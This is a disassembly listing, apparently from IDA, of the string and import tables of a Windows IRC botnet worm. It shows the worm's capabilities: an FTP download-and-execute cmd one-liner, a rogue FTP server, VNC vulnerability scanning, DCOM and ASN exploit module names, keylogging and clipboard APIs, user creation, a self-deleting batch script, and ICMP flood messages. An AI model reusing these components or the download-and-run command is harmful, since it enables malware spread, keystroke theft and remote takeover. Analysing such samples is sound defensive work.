		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_4027C1+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSVulner	db 'VNC %d.%d %s: %s - [VuLnErAbLe]',0 ; DATA XREF: .packed:00402BEBo
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: .packed:00402A78o
		align 4
word_41DE64	dw 1			; DATA XREF: .packed:004029EFr
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_402C55+5A3o
aQuit		db 'QUIT',0             ; DATA XREF: sub_402C55+58Fo
					; sub_40997B+519o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_402C55+582o
		align 10h
dword_41DEB0	dd 32310302h, 3531035Bh, 3707446h, 0F5D3231h, 35310320h
					; DATA XREF: sub_402C55+543o
		dd 4E774F20h, 3204465h,	73253231h, 0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_402C55+531o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_402C55+509o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_402C55+4F1o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_402C55+4E1o
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_402C55+4D0o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_402C55+49Do
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_402C55+456o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_402C55+41Do
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_402C55+3EFo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_402C55+3DCo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_402C55+3A1o
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_402C55+38Eo
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_402C55+37Eo
aI:					; DATA XREF: sub_402C55+36Ao
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_402C55+343o
aA_0:					; DATA XREF: sub_402C55+32Fo
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_402C55+318o
					; sub_402C55+353o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_402C55+308o
		align 10h
off_41E030	dd offset dword_445750	; DATA XREF: sub_402C55+2F4o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_402C55+2E4o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_402C55+2D0o
		align 10h
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_402C55+2C0o
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_402C55+2ACo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_402C55+29Co
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_402C55+288o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_402C55+278o
		align 10h
aUser		db 'USER',0             ; DATA XREF: sub_402C55+263o
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_402C55+252o
		align 10h
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_402C55+1CAo
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4032AB+2Ao
		align 10h
aDcom135	db 'dcom135',0          ; DATA XREF: sub_4037AE+169o
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
dword_41E0F8	dd 87h			; DATA XREF: sub_403372+1Er
					; sub_40997B+2346r ...
off_41E0FC	dd offset sub_4014EF	; DATA XREF: sub_4037AE+1EAr
dword_41E100	dd 0			; DATA XREF: sub_4014EF+28Cw
					; sub_4014EF+292r ...
dword_41E104	dd 1			; DATA XREF: sub_4034A7+1Er
aAsn445		db 'asn445',0
		align 10h
		dd 73610000h, 6D73316Eh, 62h, 5	dup(0)
		dd 1BDh, 402202h, 0
		dd 1, 316E7361h, 3933h,	73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	402202h, 0
		dd 1, 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 4029E5h, 2 dup(0)
aN00b_0		db 'n00b',0
		align 4
		dd 79730000h, 6Dh, 6 dup(0)
		dd 0B97h, 4028AFh, 0
		dd 1, 0Eh dup(0)
dword_41E220	dd 32310320h, 61746F54h, 3203A6Ch, 64253531h, 0	; DATA XREF: sub_403372+75o
dword_41E234	dd 32310320h, 203A7325h, 25353103h, 2C64h ; DATA XREF: sub_403372+42o
dword_41E244	dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3531030Fh
					; DATA XREF: sub_403372+11o
		dd 70784520h, 74696F6Ch, 61745320h, 74736974h, 20736369h
		dd 2D323103h, 3
unk_41E274	db    2			; DATA XREF: sub_403430+42o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  53h	; S
		db 63h,	61h, 6Eh
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5ScanNotActive	db '5 Scan Not Active.',0
		align 4
dword_41E29C	dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh
					; DATA XREF: sub_403430+2Co
		dd 75432035h, 6E657272h, 50492074h, 3103203Ah, 2E732532h
		dd 0
dword_41E2C8	dd 32310302h, 3531035Bh, 3707446h, 0F5D3231h, 35310320h
					; DATA XREF: sub_4034A7+168o
		dd 69614620h, 2064656Ch, 73206F74h, 74726174h, 72657320h
		dd 2C726576h, 72726520h, 203A726Fh, 25323103h, 2E64h
dword_41E304	dd 32310302h, 3531035Bh, 3707446h, 0F5D3231h, 35310320h
					; DATA XREF: sub_4034A7+F8o
		dd 72655320h, 20726576h, 72617473h, 20646574h, 50206E6Fh
		dd 3A74726Fh, 32310320h, 202C6425h, 46353103h, 3A656C69h
		dd 32310320h, 202C7325h, 52353103h, 65757165h, 203A7473h
		dd 25323103h, 2E73h
dword_41E35C	dd 252E6425h, 64252E64h, 64252Eh ; DATA	XREF: sub_403675+38o
					; sub_404F3A+46o ...
dword_41E368	dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh
					; DATA XREF: sub_4037AE+EEo
		dd 50492035h, 3103203Ah, 2C732532h, 35310320h, 74726F50h
		dd 32310320h, 3206425h,	73693531h, 65706F20h, 2E6Eh
dword_41E3A4	dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh
					; DATA XREF: sub_4037AE+93o
		dd 3A504935h, 32310320h, 253A7325h, 3202C64h, 63533531h
		dd 74206E61h, 61657268h, 3203A64h, 64253231h, 3103202Ch
		dd 62755335h, 7268742Dh, 3A646165h, 32310320h, 2E6425h
unk_41E3F4	db    2			; DATA XREF: sub_4039C6+1CEo
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  53h	; S
		db 63h,	61h, 6Eh
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
		db  35h	; 5
		db 46h,	69h, 6Eh
		db  69h	; i
		db 73h,	68h, 65h
		db  64h	; d
		db 20h,	61h, 74h
		db  20h
		db 3, 31h, 32h
		db  25h	; %
		db 73h,	3Ah, 25h
		db  64h	; d
		db 20h,	3, 31h
		db  35h	; 5
		db 61h,	66h, 74h
		db  65h	; e
		db 72h,	20h, 3
		db  31h	; 1
		db 32h,	25h, 64h
		db  20h
		db 3, 31h, 35h
aMinuteSOfScann	db 'minute(s) of scanning.',0
		align 4
dword_41E448	dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh
					; DATA XREF: sub_4039C6+173o
		dd 69614635h, 2064656Ch, 73206F74h, 74726174h, 726F7720h
		dd 2072656Bh, 65726874h, 202C6461h, 6F727265h, 3203A72h
		dd 64253231h, 2Eh
dword_41E48C	dd 32310302h, 3531035Bh, 6E616353h, 5D323103h, 3103200Fh
					; DATA XREF: sub_4039C6+103o
		dd 3A732535h, 202C6425h, 53323103h, 206E6163h, 65726874h
		dd 203A6461h, 25353103h, 3202C64h, 75533231h, 68742D62h
		dd 64616572h, 3103203Ah, 2E642535h, 0
unk_41E4D8	db    2			; DATA XREF: sub_4039C6+87o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  53h	; S
		db 63h,	61h, 6Eh
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 20h,	3, 31h
a5failedToIniti	db '5Failed To Initialize Critical Section.',0
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_403C25+C50o
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_403C25+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_403C25:loc_404860o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_403C25+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_403C25+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_403C25+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_403C25+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_403C25+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_403C25+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_403C25:loc_4047C2o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_403C25+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_403C25+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_403C25:loc_404778o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403C25+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403C25+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403C25+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403C25+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403C25:loc_404704o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_403C25+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_403C25+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_403C25:loc_4046BAo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_403C25+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_403C25+A58o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_403C25:loc_404670o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_403C25+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_403C25+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403C25+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_403C25+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_403C25+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403C25+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403C25+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403C25+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403C25+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_403C25+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_403C25+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403C25:loc_404565o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_403C25+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_403C25+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_403C25+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_403C25:loc_404506o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_403C25+8B4o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_403C25+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_403C25+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_403C25+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_403C25+81Bo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_403C25+80Eo
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_403C25+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_403C25+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_403C25+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_403C25+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_403C25+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403C25:loc_4043E6o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_403C25+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_403C25+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_403C25+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_403C25+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_403C25+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_403C25+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_403C25+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_403C25+62Do
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_403C25+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_403C25+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_403C25+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_403C25+5F9o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_403C25+5ECo
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_403C25+5DFo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_403C25+5D2o
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_403C25+5C5o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_403C25+5B8o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_403C25+5ABo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_403C25+59Eo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_403C25+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_403C25+584o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_403C25+577o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_403C25+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_403C25+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_403C25+550o
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_403C25+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_403C25+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_403C25+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_403C25+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_403C25+50Fo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_403C25+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403C25+4F6o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_403C25+483o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_403C25+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_403C25+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_403C25+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_403C25+44Fo
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_403C25+442o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_403C25+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_403C25+428o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_403C25+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_403C25:loc_404034o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_403C25:loc_40400Co
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_403C25+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_403C25+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_403C25+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_403C25+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_403C25+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_403C25+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_403C25+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_403C25:loc_403F5Eo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_403C25+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_403C25+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_403C25:loc_403F19o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_403C25+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_403C25+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_403C25+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_403C25+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_403C25+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_403C25+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_403C25:loc_403E84o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_403C25+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_403C25+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_403C25+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_403C25:loc_403E1Do
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_403C25+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_403C25+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_403C25+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_403C25+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_403C25+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_403C25+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_403C25+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_403C25+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_403C25:loc_403D5Ao
					; sub_418081+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_403C25:loc_403D2Do
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_403C25+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_403C25+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_403C25+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_403C25+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_403C25+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_403C25+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_403C25+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_403C25+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_403C25+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_403C25+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_403C25+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403C25+Ao
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_404B10+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_404B9A+5o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_404C1C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_404CC0+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_404CE2+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_404CE2+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_404CE2+48o
		align 4
a_:					; DATA XREF: sub_404E6A+33o
		unicode	0, <.>,0
a2:					; DATA XREF: sub_404FE0+35o
					; sub_40997B+4000o ...
		unicode	0, <2>,0
aSfc_os_dll	db 'sfc_os.dll',0       ; DATA XREF: sub_40502F+24o
		align 4
dword_41EE98	dd 5B323103h, 50353103h, 68637461h, 31037265h, 200F5D32h
					; DATA XREF: sub_405076+318o
		dd 54353103h, 70497063h, 58694620h, 216465h
unk_41EEBC	db    3			; DATA XREF: sub_405076+113o
		db 31h,	32h, 5Bh
		db    3
		db 31h,	35h, 50h
		db  61h	; a
		db 74h,	63h, 68h
		db  65h	; e
		db 72h,	3, 31h
		db  32h	; 2
		db 5Dh,	0Fh, 20h
		db    3
a15canNotFixTcp	db '15CaN NoT FiX TcpIp',0
		align 4
aRB		db 'r+b',0              ; DATA XREF: sub_405076+FFo
dword_41EEEC	dd 5			; DATA XREF: sub_405076+69o
dword_41EEF0	dd 0FCh			; DATA XREF: sub_405076+62o
dword_41EEF4	dd 43h			; DATA XREF: sub_405076+5Bo
dword_41EEF8	dd 6			; DATA XREF: sub_405076+45o
dword_41EEFC	dd 16h			; DATA XREF: sub_405076+3Eo
dword_41EF00	dd 4Ch			; DATA XREF: sub_405076+37o
					; .packed:0040E07Co
dword_41EF04	dd 3			; DATA XREF: sub_405076+24o
dword_41EF08	dd 0E8h			; DATA XREF: sub_405076+1Eo
dword_41EF0C	dd 20646425h, 20686425h, 6D6425h ; DATA	XREF: sub_4053E4+52o
					; .packed:0040E0AEo
dword_41EF18	dd 32310302h, 3531035Bh, 49737953h, 36F666Eh, 0F5D3231h
					; DATA XREF: sub_405503+22Do
		dd 32310320h, 3531035Bh, 3757043h, 205D3231h, 25353103h
		dd 75343649h, 2E7A484Dh, 32310320h, 3531035Bh, 3103734Fh
		dd 3205D32h, 69573531h,	776F646Eh, 73252073h, 64252820h
		dd 2C64252Eh, 69754220h, 2520646Ch, 202E2964h, 5B323103h
		dd 53353103h, 69447379h, 32310372h, 3103205Dh, 2E732535h
		dd 32310320h, 3531035Bh, 74736F48h, 656D614Eh, 5D323103h
		dd 35310320h, 28207325h, 2E297325h, 32310320h, 3531035Bh
		dd 72727543h, 20746E65h, 72657355h, 5D323103h, 35310320h
		dd 202E7325h, 5B323103h, 44353103h, 3657461h, 205D3231h
		dd 25353103h, 3202E73h,	35B3231h, 69543531h, 3103656Dh
		dd 3205D32h, 73253531h,	3103202Eh, 31035B32h, 74705535h
		dd 3656D69h, 205D3231h,	25353103h, 2E73h
dword_41F018	dd 6D3A4848h, 73733A6Dh, 0 ; DATA XREF:	sub_405503+1AFo
dword_41F024	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_405503+193o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_405503:loc_405668o
		align 4
word_41F048	dw 3Fh			; DATA XREF: sub_405503:loc_405604r
		align 4
dword_41F04C	dd 28207325h, 297325h	; DATA XREF: sub_405503+EAo
dword_41F054	dd 3F3F3Fh		; DATA XREF: sub_405503:loc_4055C5o
a2003		db '2003',0             ; DATA XREF: sub_405503+B9o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_405503+A9o
					; .packed:0040DFB5o
		align 4
a2k		db '2K',0               ; DATA XREF: sub_405503+97o
					; .packed:0040DFA5o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_405503+7Do
					; .packed:0040DF8Co
		align 4
a98		db '98',0               ; DATA XREF: sub_405503+6Bo
					; .packed:0040DF7Co
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_405503+59o
					; .packed:0040DF6Do
		align 4
a95		db '95',0               ; DATA XREF: sub_405503+45o
					; .packed:0040DF5Fo
		align 4
dword_41F078	dd 32310302h, 31035B2Eh, 74654E35h, 6F666E49h, 5D323103h
					; DATA XREF: sub_40574C+A4o
		dd 35B202Eh, 79543531h,	31036570h, 3205D32h, 73253531h
		dd 73252820h, 3202E29h,	35B3231h, 70493531h, 64644120h
		dd 73736572h, 5D323103h, 35310320h, 202E7325h, 5B323103h
		dd 48353103h, 4E74736Fh, 3656D61h, 205D3231h, 25353103h
		dd 2E73h
off_41F0E0	dd offset loc_412F4E	; DATA XREF: sub_40574C:loc_4057B8o
dword_41F0E4	dd 4E414Ch		; DATA XREF: sub_40574C:loc_4057AEo
dword_41F0E8	dd 6C616944h, 70752Dh	; DATA XREF: sub_40574C+5Bo
dword_41F0F0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40574C+48o
dword_41F100	dd 5Ch			; DATA XREF: sub_40580B+44o
dword_41F104	dd 32310302h, 3531035Bh, 706D6349h, 5D323103h, 3531030Fh
					; DATA XREF: sub_4058B9+397o
		dd 6E6F6420h, 69772065h, 3206874h, 73253231h, 35310320h
		dd 6F6F6C66h, 6F742064h, 32310320h, 202E7325h, 73353103h
		dd 20746E65h, 25323103h, 31032064h, 63617035h, 7374656Bh
		dd 3204020h, 64253231h,	732F424Bh, 3206365h, 25283531h
		dd 29424D64h, 2Eh
dword_41F170	dd 32310302h, 3531035Bh, 706D6349h, 5D323103h, 3531030Fh
					; DATA XREF: sub_4058B9+307o
		dd 72726520h, 7320726Fh, 69646E65h, 7020676Eh, 656B6361h
		dd 74207374h, 3103206Fh, 2E732532h, 35310320h, 3206425h
a12packetsSentR	db '12packets sent, returned %d',0
unk_41F1C8	db    2			; DATA XREF: sub_4058B9+12Ao
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  49h	; I
		db 63h,	6Dh, 70h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 3, 31h, 35h
aInvalidTargetI	db ' invalid target ip',0
		align 10h
unk_41F1F0	db    2			; DATA XREF: sub_4058B9+C2o
		db 3, 31h, 32h
		db  5Bh	; [
		db 3, 31h, 35h
		db  49h	; I
		db 63h,	6Dh, 70h
		db    3
		db 31h,	32h, 5Dh
		db  0Fh
		db 3, 31h, 35h
